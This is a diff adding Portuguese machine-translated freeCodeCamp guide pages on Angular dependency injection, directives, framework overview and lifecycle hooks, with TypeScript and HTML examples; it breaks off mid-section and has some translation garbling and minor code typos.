+Como mencionado anteriormente, as crianças injetadas recorrem a seus pais. Essa estratégia de recuperação garante que os pais não precisem se registrar novamente para cada injetor. Consulte este artigo sobre [Serviços e Injetores](https://guide.freecodecamp.org/angular/services-and-injectors) para uma ilustração desse conceito.
+
+Serviços registrados são _singletons_ . Ou seja, as instruções para instanciar o serviço existem em apenas um injetor. Isso pressupõe que não tenha sido explicitamente registrado em outro lugar.
+
+##### Módulo, Diretiva e Componente
+
+Módulos e componentes têm sua própria instância de injetor. Isso é evidente, considerando os `providers: []` campo de metadados. Este campo recebe uma série de serviços e registra-os com o injetor do módulo ou classe de componentes. Essa abordagem ocorre nos `@NgModule` , `@Directive` ou `@Component` .
+
+Essa estratégia omite o _abalo de árvores_ ou a remoção opcional de serviços não utilizados dos injetores. Instâncias de serviço vivem em seus injetores durante a vida útil do módulo ou componente.
+
+#### Referências Instantiating
+
+Referências ao DOM podem instanciar de qualquer classe. Tenha em mente que as referências ainda são serviços. Eles diferem dos serviços tradicionais em representar o estado de outra coisa. Esses serviços incluem funções para interagir com sua referência.
+
+Diretivas estão em constante necessidade de referências DOM. Diretivas executam mutações em seus elementos de host por meio dessas referências. Veja o exemplo a seguir. O injetor da diretiva instancia uma referência do elemento host no construtor da classe.
+
+```typescript
+// directives/highlight.directive.ts 
+ 
+ import { Directive, ElementRef, Renderer2, Input } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appHighlight]' 
+ }) 
+ export class HighlightDirective { 
+  constructor( 
+    private renderer: Renderer2, 
+    private host: ElementRef 
+  ) { } 
+ 
+  @Input() set appHighlight (color: string) { 
+    this.renderer.setStyle(this.host.nativeElement, 'background-color', color); 
+  } 
+ } 
+```
+
+```html
+
+// app.component.html 
+ 
+ <p [appHighlight]="'yellow'">Highlighted Text!</p> 
+```
+
+`Renderer2` também é instanciado. De quais injetores esses serviços vêm? Bem, o código fonte de cada serviço vem de `@angular/core` . Esses serviços devem, então, registrar-se no injetor de raiz do aplicativo.
+
+```typescript
+import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ import { AppComponent } from './app.component'; 
+ import { HighlightDirective } from './directives/highlight.directive'; 
+ 
+ @NgModule({ 
+  declarations: [ 
+    AppComponent, 
+    HighlightDirective 
+  ], 
+  imports: [ 
+    BrowserModule 
+  ], 
+  providers: [], 
+  bootstrap: [ 
+    AppComponent 
+  ] 
+ }) 
+ export class AppModule { } 
+```
+
+Uma matriz de provedores vazia! Não temer. Angular registra muitos serviços com o injetor de raiz automaticamente. Isso inclui `ElementRef` e `Renderer2` . Neste exemplo, estamos gerenciando o elemento host por meio de sua interface a partir da instanciação de `ElementRef` . `Renderer2` nos permite atualizar o DOM através do modelo de visualização do Angular.
+
+Você pode ler mais sobre as visualizações [deste artigo](https://guide.freecodecamp.org/angular/views) . Eles são o método preferido para atualizações DOM / view em aplicativos Angular.
+
+É importante reconhecer o papel que os injetores desempenham no exemplo acima. Ao declarar os tipos de variáveis ​​no construtor, a classe obtém serviços valiosos. O tipo de dados de cada parâmetro é mapeado para um conjunto de instruções dentro do injetor. Se o injetor tiver esse tipo, ele retornará uma instância desse tipo.
+
+#### Instanciando Serviços
+
+O artigo [Serviços e Injetores](https://guide.freecodecamp.org/angular/services-and-injectors) explica essa seção até certo ponto. Embora, esta seção refaça a seção anterior ou a maior parte. Os serviços geralmente fornecem referências a outra coisa. Eles podem também fornecer uma interface estendendo as capacidades de uma classe.
+
+O próximo exemplo definirá um serviço de registro que é adicionado ao injetor de um componente por meio de seus `providers: []` metadata.
+
+```typescript
+// services/logger.service.ts 
+ 
+ import { Injectable } from '@angular/core'; 
+ 
+ @Injectable() 
+ export class LoggerService { 
+  callStack: string[] = []; 
+ 
+  addLog(message: string): void { 
+    this.callStack = [message].concat(this.callStack); 
+    this.printHead(); 
+  } 
+ 
+  clear(): void { 
+    this.printLog(); 
+    this.callStack = []; 
+    console.log(“DELETED LOG”); 
+  } 
+ 
+  private printHead(): void { 
+    console.log(this.callStack[0] || null); 
+  } 
+ 
+  private printLog(): void { 
+    this.callStack.reverse().forEach((log) => console.log(message)); 
+  } 
+ } 
+```
+
+```typescript
+// app.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ import { LoggerService } from './services/logger.service'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  templateUrl: './app.component.html', 
+  providers: [LoggerService] 
+ }) 
+ export class AppComponent { 
+  constructor(private logger: LoggerService) { } 
+ 
+  logMessage(event: any, message: string): void { 
+    event.preventDefault(); 
+    this.logger.addLog(`Message: ${message}`); 
+  } 
+ 
+  clearLog(): void { 
+    this.logger.clear(); 
+  } 
+ } 
+```
+
+```html
+
+// app.component.html 
+ 
+ <h1>Log Example</h1> 
+ <form (submit)="logMessage($event, userInput.value)"> 
+  <input #userInput placeholder="Type a message..."> 
+  <button type="submit">SUBMIT</button> 
+ </form> 
+ 
+ <h3>Delete Logged Messages</h3> 
+ <button type="button" (click)="clearLog()">CLEAR</button> 
+```
+
+Concentre-se no construtor e nos metadados do AppComponent. O injetor de componentes recebe instruções do campo de metadados do provedor que contém o LoggerService. O injetor então sabe o que instanciar o LoggerService de requisitado no construtor.
+
+O parâmetro de construtor `loggerService` tem o tipo `LoggerService` que o injetor reconhece. O injetor segue com a instanciação como mencionado.
+
+#### Conclusão
+
+Injeção de dependência (DI) é um paradigma. A maneira como funciona em Angular é através de uma hierarquia de injetores. Uma turma recebe seus recursos sem ter que criar ou saber sobre eles. Os injetores recebem instruções e instanciam um serviço, dependendo de qual deles foi solicitado.
+
+DI aparece muito em Angular. A documentação oficial Angular explica porque o paradigma é tão prevalente. Eles também descrevem os numerosos casos de uso do DI em Angular além do que foi discutido neste artigo. Confira clicando abaixo!
+
+## Fontes
+
+*   [Equipa Angular “Padrão de Injeção de Dependência”. _Google_ . Acesso em 1 de junho de 2018](https://angular.io/guide/dependency-injection-pattern)
+    
+*   [Zuev, Alexey. “O que você sempre quis saber sobre a árvore de injeção de dependência angular”. _Angular em profundidade_ , 21 de março de 2018. Acessado em 1 de junho de 2018](https://blog.angularindepth.com/angular-dependency-injection-and-tree-shakeable-tokens-4588a8f70d5d)
+    
+
+## Recursos
+
+*   [Documentação Angular](https://angular.io/guide/pipes)
+    
+*   [Repositório Angular GitHub](https://github.com/angular/angular)
+    
+*   [Introdução à Injeção de Dependência](https://angular.io/guide/architecture-services)
+    
+*   [Injeção de Dependência Avançada](https://angular.io/guide/dependency-injection-pattern)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/directives/index.md b/client/src/guide/portuguese/angular/directives/index.md
new file mode 100644
index 0000000000..1c774edc15
--- /dev/null
+++ b/client/src/guide/portuguese/angular/directives/index.md
@@ -0,0 +1,332 @@
+---
+title: Directives
+localeTitle: Diretivas
+---
+# Diretivas
+
+#### Motivação
+
+As diretivas são essenciais para o HTML do modelo do Angular. Componentes são o exemplo mais significativo. Cada vista de componente é apresentada abaixo de uma vista de componente de raiz. Isso pode resultar em uma árvore de visualizações que define um único aplicativo. Uma visão constitui uma classe ( `component.ts` ) e seu template ( `component.html` ).
+
+Outras diretivas, embora não tão críticas, fornecem flexibilidade muito necessária. Uma diretiva posicionada em um elemento tem controle total sobre ela. O uso do `<ng-template></ng-template>` permite a criação e remoção dinâmica de conteúdo HTML. A Microsyntax oferece aos desenvolvedores a liberdade de personalizar ainda mais o comportamento da diretiva.
+
+#### A directiva
+
+Diretivas são elementos e atributos de componentes criados e reconhecidos pelo Angular. Angular associa o elemento ou atributo à sua definição de classe correspondente. `@Directive` ou `@Component` decora essas classes. Ambos são indicativos de Angular que a classe executa como diretiva.
+
+Algumas diretivas modificam o estilo do elemento host. Outras diretivas exibem exibições ou inserem as existentes como exibições incorporadas. Em outras palavras, eles alteram o layout HTML.
+
+Em qualquer caso, diretivas sinalizam o compilador Angular. Eles marcam componentes para modificação, dependendo da lógica de classe da diretiva.
+
+#### Diretiva de Componentes
+
+As diretivas de componente diferem fundamentalmente dos outros tipos de diretiva. Eles são geralmente chamados de componentes. Eles formam sua própria tag HTML exclusiva. Para cada componente, há uma certa quantidade de modelos HTML. Isso é diferente das outras duas diretivas. Suas classes são pura lógica operando no que é pré-definido no template HTML.
+
+#### Criação de Componentes
+
+Crie um componente com `ng generate component [name-of-component]` ; substitua `[name-of-component]` por um nome preferível. O comando gera quatro arquivos diferentes que pertencem a um componente.
+
+O `component.css` e o `component.spec.ts` estão além do escopo deste artigo. O aspecto _diretivo_ do componente envolve os outros dois arquivos. Dê uma olhada nas geradas `component.ts` e `component.html` .
+
+```typescript
+// example.component.ts 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  templateUrl: './example.component.html' 
+ }) 
+ export class ExampleComponent { 
+  constructor() { } 
+ } 
+```
+
+Alguns detalhes irrelevantes foram cortados da geração padrão de `component.ts` . Dessa forma, o foco está no próprio componente.
+
+```html
+
+<!-- example.component.html --> 
+ 
+ <p>example works!</p> 
+```
+
+Inserir ExampleComponent como o filho de outro componente seria semelhante ao seguinte.
+
+```html
+
+<!-- another.component.html --> 
+ 
+ <h1>Welcome to AnotherComponent.</h1> 
+ <h3>Check out ExampleComponent!</h3> 
+ 
+ <!-- Outputs “<p>example works!</p>” --> 
+ <app-example></app-example> 
+ 
+ <h6>This is the end of the AnotherComponent template HTML.</h6> 
+```
+
+Preste atenção em `<app-example></app-example>` . O `app-example` corresponde ao seletor do decorador `@Component` do ExampleComponent. Esta é uma diretiva de componentes. O Angular reconhece o `app-example` e _direciona_ sua renderização para a classe ExampleComponent.
+
+#### Directiva Estrutural
+
+Pense nas instruções `if` , `for` loops e nas instruções `switch` na lógica de programação. Essas construções lógicas determinam a execução de código. O código será executado ( `if` ), quantas vezes ele será executado ( `for` ) e qual bloco de código será executado ( `switch` ).
+
+Esse padrão continua com diretrizes estruturais. Eles determinam a estrutura HTML resultante de um modelo. Eles sempre envolvem algum uso de `ng-template` sob o capô. `ng-template` fornece um mecanismo para criar HTML processado condicionalmente.
+
+Aqui estão três exemplos de diretivas estruturais. Cada um tem uma contrapartida lógica ( `if` , `for` e `switch` ).
+
+*   \* ngIf
+    
+*   \* ngFor
+    
+*   \* ngSwitchCase e \* ngSwitchDefault
+    
+
+**Nota importante:** todos os três estão disponíveis através da importação `CommonModule` . Está disponível em `@angular/common` para importação no módulo raiz do aplicativo.
+
+##### \* ngIf
+
+`*ngIf` testa um determinado valor para ver se ele é _truthy_ ou _Falsas_ baseado fora avaliação boolean geral em JavaScript. Se for verdade, o elemento e seu innerHTML aparecerão. Caso contrário, eles nunca renderizam para o Modelo de Objeto de Domínio (DOM).
+
+```html
+
+<!-- renders “<h1>Hello!</h1>” --> 
+ <div *ngIf="true"> 
+  <h1>Hello!</h1> 
+ </div> 
+ 
+ <!-- does not render --> 
+ <div *ngIf="false"> 
+  <h1>Hi!</h1> 
+ </div> 
+```
+
+Este é um exemplo artificial. Qualquer valor de membro da classe de componente do modelo pode ser substituído por `true` ou `false` .
+
+NOTA: Você também pode fazer o seguinte com \* ngIf para obter acesso ao valor observalbe
+
+```html
+
+<div *ngIf="observable$ | async as anyNameYouWant"> 
+  {{  anyNameYouWant }} 
+ </div> 
+```
+
+##### \* ngFor
+
+`*ngFor` loops baseados em uma expressão _microssatática_ designada à _direita_ . Microsyntax se move além do escopo deste artigo. Saiba que a microsyntax é uma forma abreviada de expressão lógica. Ocorre como uma única string capaz de referenciar os valores dos membros da classe. Pode fazer loop de valores iteráveis, o que o torna útil para `*ngFor` .
+
+```html
+
+<ul> 
+  <li *ngFor=“let potato of ['Russet', 'Sweet', 'Laura']; let i=index”> 
+      Potato {{ i + 1 }}: {{ potato }} 
+  </li> 
+  <!-- Outputs 
+  <li> 
+      Potato 1: Russet 
+  </li> 
+  <li> 
+      Potato 2: Sweet 
+  </li> 
+  <li> 
+      Potato 3: Laura 
+  </li> 
+  --> 
+ </ul> 
+```
+
+`['Russet', 'Sweet', 'Laura']` é um valor iterável. Matrizes são um dos iteráveis ​​mais comuns. O `*ngFor` um novo `<li></li>` por elemento de matriz. Cada elemento da matriz é atribuído à variável `potato` . Tudo isso é feito utilizando microsyntax. O `*ngFor` define o conteúdo estrutural do elemento `ul` . Isso é característico de uma diretiva estrutural.
+
+NOTA: Você também pode fazer o seguinte com a diretiva \* ngFor para obter acesso ao valor observalbe (hacky)
+
+```html
+
+<div *ngFor="let anyNameYouWant of [(observable$ | async)]"> 
+  {{  anyNameYouWant }} 
+ </div> 
+```
+
+##### \* ngSwitchCase e \* ngSwitchDefault
+
+Essas duas diretivas estruturais funcionam juntas para fornecer funcionalidade de `switch` para HTML de modelo.
+
+```html
+
+<div [ngSwitch]=“potato”> 
+  <h1 *ngSwitchCase=“'Russet'”>{{ potato }} is a Russet Potato.</h1> 
+  <h1 *ngSwitchCase=“'Sweet'”>{{ potato }} is a Sweet Potato.</h1> 
+  <h1 *ngSwitchCase=“'Laura'”>{{ potato }} is a Laura Potato.</h1> 
+  <h1 *ngSwitchDefault>{{ potato }} is not a Russet, Sweet, nor Laura Potato.</h1> 
+ </div> 
+```
+
+Apenas uma das expressões `*ngSwitch…` renderizada. Observe o atributo `[ngSwitch]` dentro do elemento `div` que envolve o comutador. Isso passa o valor de `potato` ao longo da cadeia `*ngSwitch...` Essa cadeia de diretivas estruturais determina qual elemento `h1` renderiza.
+
+Como tal, `[ngSwitch]` não é uma diretiva estrutural ao contrário das `*ngSwitch…` . Ele passa o valor enquanto o bloco de switches determina o layout final do HTML.
+
+Lembre-se de que a estilização e a passagem de valores não são responsabilidade de diretivas estruturais. Isso diz respeito às diretivas de atributo. Diretivas estruturais determinam apenas o layout.
+
+#### Criação Diretiva Estrutural [1](https://angular.io/guide/structural-directives)
+
+Há algo importante para entender sobre os exemplos anteriores. Eles são todos abreviados pelo asterisco inicial ( `*` ). `ng-template` é usado sob o capô com cada aplicação do asterisco.
+
+`ng-template` define diretivas estruturais. Explica como eles podem configurar HTML de modelo para produzir HTML real. Comece criando uma diretiva com `ng generate directive [name-of-directive]` . Substitua `[name-of-directive]` por um nome preferível. O comando produz o seguinte.
+
+```typescript
+import { Directive } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appExample]' 
+ }) 
+ export class ExampleDirective { 
+  constructor() { } 
+ } 
+```
+
+Este esqueleto da diretiva está bem nu. Ele ainda não sabe se estamos construindo uma diretiva estrutural ou de atributos. O `selector: '[appExample]'` diz ao Angular para qual atributo a diretiva mapeia. Como você está criando uma diretiva estrutural, modifique o esqueleto da seguinte maneira.
+
+```typescript
+Import { Directive, Input, TemplateRef, ViewContainerRef } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appExample]' 
+ }) 
+ export class ExampleDirective { 
+  @Input() set appExample(booleanValue: boolean) { 
+      if (booleanValue) { 
+          this.ngTemplate.createEmbeddedView(this.innerHTMLOfTemplateScope); 
+      } 
+      else { 
+          this.ngTemplate.clear(); 
+      } 
+  } 
+ 
+  constructor( 
+      private innerHTMLOfTemplateScope:TemplateRef<any>, 
+      private ngTemplate:ViewContainerRef 
+  ) { } 
+ } 
+```
+
+A inclusão de um elemento arbitrário com o atributo `appExample` serve como um bom exemplo.
+
+```html
+
+<div *appExample=“value”>innerHTML content</div> 
+ <!-- This is shorthand for: 
+ <ng-template> 
+  <div>innerHTML content</div> 
+ </ng-template> 
+ --> 
+```
+
+Isso é muito para receber. `@Input() set ...` é uma declaração de membro setter. Ele é executado sempre que o atributo `appExample` aparece dentro de um elemento e recebe um valor booleano. A função setter recebe esse valor booleano como parâmetro para execução.
+
+`TemplateRef<any>` referência ao innerHTML de `<ng-template></ng-template>` . O asterisco usado nos exemplos anteriores é um atalho para o comentário no bloco de código acima. `ng-template` atua como o _molho secreto_ para as diretrizes estruturais.
+
+`ViewContainerRef` referencia o escopo de encapsulamento de `<ng-template></ng-template>` . `ng-template` não é um elemento real. É um marcador para o compilador Angular que eventualmente é comentado.
+
+`ViewContainerRef` tem dois métodos: `clear()` e `createEmbeddedView()` . Você pode pensar em visualizações incorporadas como o HTML com escopo dentro de um elemento `ng-template` .
+
+`clear()` remove qualquer HTML existente com escopo dentro do `ng-template` da exibição de HTML. `createEmbeddedView()` tem como alvo o HTML dentro do `ng-template` como HTML exibível.
+
+Se entender o exemplo de código mais recente, então você tem um sólido aperto `*ngIf` , `*ngFor` , `*ngSwitchCase` e `*ngSwitchDefault` . Todos eles determinam o layout com referência ao `TemplateRef<any>` e `ViewContainerRef` .
+
+De fato, o ExampleDirective acima imita a funcionalidade de `*ngIf` !
+
+```html
+
+<!-- renders “<h1>Hello!</h1>” --> 
+ <div *ngExample="true"> 
+  <h1>Hello!</h1> 
+ </div> 
+ 
+ <!-- does not render --> 
+ <div *appExample="false"> 
+  <h1>Hi!</h1> 
+ </div> 
+```
+
+Nunca esqueça o asterisco ( `*` ). É uma abreviação do elemento `ng-template` que nossa classe diretiva faz referência.
+
+#### Diretiva de Atributos
+
+As diretivas de atributo são semelhantes às estruturais. Exceto, as diretivas de atributo não afetam o layout HTML. Eles não implementam `<ng-template></ng-template>` . Eles são atributos que fazem referência a seu elemento host para mudanças estilísticas.
+
+Um exemplo melhor explica seu propósito.
+
+#### Criação da Diretiva de Atributos [2](https://angular.io/guide/attribute-directives)
+
+Gere outra diretiva: `ng generate directive [name-of-directive]` . Substitua `[name-of-directive]` por um nome preferível.
+
+```typescript
+import { Directive } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appExample]' 
+ }) 
+ export class ExampleDirective { 
+  constructor() { } 
+ } 
+```
+
+Atributos e diretrizes estruturais começam com o mesmo esqueleto. Mais algumas adições distinguirão a diretiva de atributos.
+
+```typescript
+import { Directive, Input, ElementRef } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appExample]' 
+ }) 
+ export class ExampleDirective { 
+  @Input() set appExample(color:string) { 
+      this.host.nativeElement.style.color = color; 
+  } 
+ 
+  constructor(private host:ElementRef) { } 
+ } 
+```
+
+Alguns elementos para testar ajudarão.
+
+```html
+
+<!-- the intended results are self-explanatory --> 
+ <div appExample=“purple”>This text is purple!</div> 
+ <div appExample=“blue”>This text is blue!</div> 
+ <div appExample=“red”>This text is red!</div> 
+```
+
+`ElementRef` fornece uma referência direta ao elemento host. `ElementRef.nativeElement` agarra o nó DOM. Com o nó, estilizar o componente é tão simples quanto `this.host.nativeElement.style.color = color` .
+
+`@Input() set ...` é outra função setter que lê o valor que é atribuído na sua implementação como um atributo. Ele reatribui a propriedade color da folha de estilo de cada elemento.
+
+#### Conclusão
+
+As diretivas são uma ferramenta poderosa disponível no HTML do modelo do Angular. Eles são como os componentes se conectam entre si. Dentro de cada componente, eles fornecem um meio de estilo e layout.
+
+Existem muitas outras opções para construir cada tipo de diretiva. Infelizmente, cobrir cada um é demais para um artigo. Ter um conhecimento básico de diretivas é suficiente para avançar com recursos mais avançados.
+
+Confira os recursos abaixo para mergulhar mais fundo. Existem links para cada tipo de diretiva. Cada link faz parte da mesma documentação, portanto não é necessário voltar aqui depois de visitar o primeiro link!
+
+## Fontes
+
+1.  [Equipa Angular _Directivas Estruturais_ . Google. Acessado em 28 de maio de 2018](https://angular.io/guide/structural-directives)
+    
+2.  [Equipa Angular _Diretivas de Atributos_ . Google. Acessado em 28 de maio de 2018](https://angular.io/guide/attribute-directives)
+    
+
+## Recursos
+
+*   [Documentação Angular](https://angular.io/guide/pipes)
+    
+*   [Repositório Angular GitHub](https://github.com/angular/angular)
+    
+*   [Componentes angulares](https://angular.io/guide/architecture-components)
+    
+*   [Diretrizes Estruturais Angulares](https://angular.io/guide/structural-directives)
+    
+*   [Diretrizes de Atributos Angulares](https://angular.io/guide/attribute-directives)
+    
+*   [CLI Angular](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/index.md b/client/src/guide/portuguese/angular/index.md
new file mode 100644
index 0000000000..f71fad4193
--- /dev/null
+++ b/client/src/guide/portuguese/angular/index.md
@@ -0,0 +1,59 @@
+---
+title: Angular
+localeTitle: Angular
+---
+## Angular
+
+AngularJS (versões 1.x) é uma estrutura de código aberto baseada em JavaScript. É multi-plataforma e usado para desenvolver o Single Web Page Application (SPWA). O AngularJS implementa o padrão MVC para separar a lógica, a apresentação e os componentes de dados. Ele também usa injeção de dependência para fazer uso de serviços do lado do servidor em aplicativos do lado do cliente.
+
+Angular (versões 2.xe acima) é uma estrutura de código aberto baseada em Typescript para desenvolver o aplicativo Web front-end. O Angular possui os seguintes recursos, como genéricos, tipagem estática e também alguns recursos do ES6.
+
+## Histórico de versões
+
+O Google lançou a versão inicial do AngularJS em 20 de outubro de 2010. A liberação estável do AngularJS foi em 18 de dezembro de 2017 da versão 1.6.8. O lançamento do Angular 2.0 ocorreu em 22 de setembro de 2014 na conferência ng-Europe. Uma das características do Angular 2.0 é o carregamento dinâmico.
+
+Após algumas modificações, o Angular 4.0 foi lançado em dezembro de 2016. Angular 4 é retrocompatível com o Angular 2.0. A biblioteca HttpClient é uma das características do Angular 4.0. O lançamento do Angular 5 ocorreu em 1º de novembro de 2017. O suporte para aplicativos da Web progressivos foi um dos aprimoramentos no Angular 4.0. O lançamento do Angular 6 foi em maio de 2018. A última versão estável é a [6.1.9](https://blog.angular.io/angular-v6-1-now-available-typescript-2-9-scroll-positioning-and-more-9f1c03007bb6)
+
+**Instalar** :
+
+Podemos adicionar o Angular consultando as fontes disponíveis ou baixando o framework.
+
+**Link para a fonte** :
+
+AngularJS: Podemos adicionar AngularJS (versões Angular 1.x) referenciando a Content Delivery Network do Google.
+
+```html
+
+<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular.min.js"></script> 
+```
+
+Download / install: Podemos baixar o framework com npm, Bower ou compositor
+
+**Angular 1.x** :
+
+npm
+
+\`\` \`shell npm instalar angular
+```
+Then add a `<script>` to your `index.html`: 
+```
+
+html
+```
+bower 
+```
+
+Concha bower instalar angular
+```
+Then add a `<script>` to your `index.html`: 
+```
+
+html
+
+\`\` \`
+
+Para mais informações sobre a documentação, consulte o site oficial do [AngularJS](https://docs.angularjs.org/api)
+
+Você pode instalar o **Angular 2.xe** outras versões seguindo os passos da documentação oficial do [Angular](https://angular.io/guide/quickstart)
+
+_Nota: Por favor, consulte a documentação Angular para obter informações atualizadas._
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/lifecycle-hooks/index.md b/client/src/guide/portuguese/angular/lifecycle-hooks/index.md
new file mode 100644
index 0000000000..af45026488
--- /dev/null
+++ b/client/src/guide/portuguese/angular/lifecycle-hooks/index.md
@@ -0,0 +1,455 @@
+---
+title: Lifecycle Hooks
+localeTitle: Ganchos do Ciclo de Vida
+---
+# Ganchos do Ciclo de Vida
+
+#### Motivação
+
+Estruturas front-end modernas movem o aplicativo de estado para estado. Os dados alimentam essas atualizações. Essas tecnologias interagem com os dados que, por sua vez, transicionam o estado. Com cada mudança de estado, há muitos momentos específicos em que certos ativos ficam disponíveis.
+
+Em um exemplo, o modelo pode estar pronto, em outro dado será concluído o upload. A codificação para cada instância requer um meio de detecção. Os ganchos do ciclo de vida respondem a essa necessidade. Estruturas front-end modernas empacotam-se com uma variedade de ganchos do ciclo de vida. Angular não é excepção
+
+#### Ganchos do ciclo de vida explicados
+
+Os ganchos do ciclo de vida são métodos cronometrados. Eles diferem em quando e por que eles executam. A detecção de alterações aciona esses métodos. Eles executam dependendo das condições do ciclo atual. O Angular executa a detecção de alterações constantemente em seus dados. Os ganchos do ciclo de vida ajudam a gerenciar seus efeitos.
+
+Um aspecto importante desses ganchos é sua ordem de execução. Isso nunca se desvia. Eles são executados com base em uma série previsível de eventos de carga produzidos a partir de um ciclo de detecção. Isso os torna previsíveis. Alguns ativos só estão disponíveis depois que um certo gancho é executado. Naturalmente, um gancho só é executado sob certas condições definidas no ciclo de detecção de alteração atual.
+
+Este artigo apresenta os ganchos do ciclo de vida na ordem de sua execução (se todos eles forem executados). Certas condições merecem a ativação de um gancho. Existem alguns que só executam uma vez após a inicialização do componente.
+
+Todos os métodos de ciclo de vida estão disponíveis em `@angular/core` . Embora não seja obrigatório, a Angular [recomenda implementar todos os ganchos](https://angular.io/guide/lifecycle-hooks#interfaces-are-optional-technically) . Essa prática leva a melhores mensagens de erro em relação ao componente.
+
+### Em ordem de execução ...
+
+#### ngOnChanges
+
+`ngOnChanges` acionado após a modificação dos membros da classe ligada `@Input` . Dados ligados pelo decorador `@Input()` vêm de uma fonte externa. Quando a fonte externa altera esses dados de uma maneira detectável, ela passa pela propriedade `@Input` novamente.
+
+Com essa atualização, `ngOnChanges` acionado imediatamente. Também é acionado na inicialização dos dados de entrada. O gancho recebe um parâmetro opcional do tipo `SimpleChanges` . Este valor contém informações sobre as propriedades alteradas de entrada alteradas.
+
+```typescript
+import { Component, Input, OnChanges } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-child', 
+  template: ` 
+  <h3>Child Component</h3> 
+  <p>TICKS: {{ lifecycleTicks }}</p> 
+  <p>DATA: {{ data }}</p> 
+  ` 
+ }) 
+ export class ChildComponent implements OnChanges { 
+  @Input() data: string; 
+  lifecycleTicks: number = 0; 
+ 
+  ngOnChanges() { 
+    this.lifecycleTicks++; 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-parent', 
+  template: ` 
+  <h1>ngOnChanges Example</h1> 
+  <app-child [data]="arbitraryData"></app-child> 
+  ` 
+ }) 
+ export class ParentComponent { 
+  arbitraryData: string = 'initial'; 
+ 
+  constructor() { 
+    setTimeout(() => { 
+      this.arbitraryData = 'final'; 
+    }, 5000); 
+  } 
+ } 
+```
+
+**Resumo:** ParentComponent associa dados de entrada ao ChildComponent. O componente recebe esses dados por meio de sua propriedade `@Input` . `ngOnChanges` acionado. Após cinco segundos, o retorno de chamada `setTimeout` acionado. ParentComponent modifica a fonte de dados da propriedade vinculada a entrada do ChildComponent. Os novos dados fluem através da propriedade de entrada. `ngOnChanges` acionado novamente.
+
+#### ngOnInit
+
+`ngOnInit` acionado uma vez na inicialização das propriedades de entrada de dados ( `@Input` ) de um componente. O próximo exemplo será semelhante ao último. O gancho não dispara quando o ChildComponent recebe os dados de entrada. Em vez disso, ele é acionado logo após o processamento dos dados no modelo ChildComponent.
+
+```typescript
+import { Component, Input, OnInit } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-child', 
+  template: ` 
+  <h3>Child Component</h3> 
+  <p>TICKS: {{ lifecycleTicks }}</p> 
+  <p>DATA: {{ data }}</p> 
+  ` 
+ }) 
+ export class ChildComponent implements OnInit { 
+  @Input() data: string; 
+  lifecycleTicks: number = 0; 
+ 
+  ngOnInit() { 
+    this.lifecycleTicks++; 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-parent', 
+  template: ` 
+  <h1>ngOnInit Example</h1> 
+  <app-child [data]="arbitraryData"></app-child> 
+  ` 
+ }) 
+ export class ParentComponent { 
+  arbitraryData: string = 'initial'; 
+ 
+  constructor() { 
+    setTimeout(() => { 
+      this.arbitraryData = 'final'; 
+    }, 5000); 
+  } 
+ } 
+```
+
+**Resumo:** ParentComponent associa dados de entrada ao ChildComponent. ChildComponent recebe esses dados por meio de sua propriedade `@Input` . Os dados são renderizados no modelo. `ngOnInit` acionado. Após cinco segundos, o retorno de chamada `setTimeout` acionado. ParentComponent modifica a fonte de dados da propriedade vinculada a entrada do ChildComponent. ngOnInit **NÃO FOGO** .
+
+`ngOnInit` é um gancho de um e pronto. Inicialização é sua única preocupação.
+
+#### ngDoCheck
+
+`ngDoCheck` acionado a cada ciclo de detecção de alterações. Angular executa a detecção de alterações com freqüência. Realizar qualquer ação fará com que ela faça o ciclo. `ngDoCheck` dispara com esses ciclos. Use com cautela. Pode criar problemas de desempenho quando implementado incorretamente.
+
+`ngDoCheck` permite que os desenvolvedores verifiquem seus dados manualmente. Eles podem acionar uma nova data de aplicação condicionalmente. Em conjunto com o `ChangeDetectorRef` , os desenvolvedores podem criar suas próprias verificações para detecção de alterações.
+
+```typescript
+import { Component, DoCheck, ChangeDetectorRef } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>ngDoCheck Example</h1> 
+  <p>DATA: {{ data[data.length - 1] }}</p> 
+  ` 
+ }) 
+ export class ExampleComponent implements DoCheck { 
+  lifecycleTicks: number = 0; 
+  oldTheData: string; 
+  data: string[] = ['initial']; 
+ 
+  constructor(private changeDetector: ChangeDetectorRef) { 
+    this.changeDetector.detach(); // lets the class perform its own change detection 
+ 
+    setTimeout(() => { 
+      this.oldTheData = 'final'; // intentional error 
+      this.data.push('intermediate'); 
+    }, 3000); 
+ 
+    setTimeout(() => { 
+      this.data.push('final'); 
+      this.changeDetector.markForCheck(); 
+    }, 6000); 
+  } 
+ 
+  ngDoCheck() { 
+    console.log(++this.lifecycleTicks); 
+ 
+    if (this.data[this.data.length - 1] !== this.oldTheData) { 
+      this.changeDetector.detectChanges(); 
+    } 
+  } 
+ } 
+```
+
+Preste atenção ao console versus o display. Os dados progridem até 'intermediário' antes do congelamento. Três rodadas de detecção de alterações ocorrem durante esse período, conforme indicado no console. Mais uma rodada de detecção de mudanças ocorre quando a 'final' é empurrada para o final desse `this.data` . Uma última rodada de detecção de alterações ocorre. A avaliação da instrução if determina que não são necessárias atualizações na visualização.
+
+**Resumo: A** classe instancia após dois ciclos de detecção de alterações. O construtor de classe inicia o `setTimeout` duas vezes. Após três segundos, o primeiro `setTimeout` aciona a detecção de alterações. `ngDoCheck` marca a exibição de uma atualização. Três segundos depois, o segundo `setTimeout` aciona a detecção de alterações. Nenhuma atualização de vista é necessária de acordo com a avaliação do `ngDoCheck` .
+
+##### Aviso
+
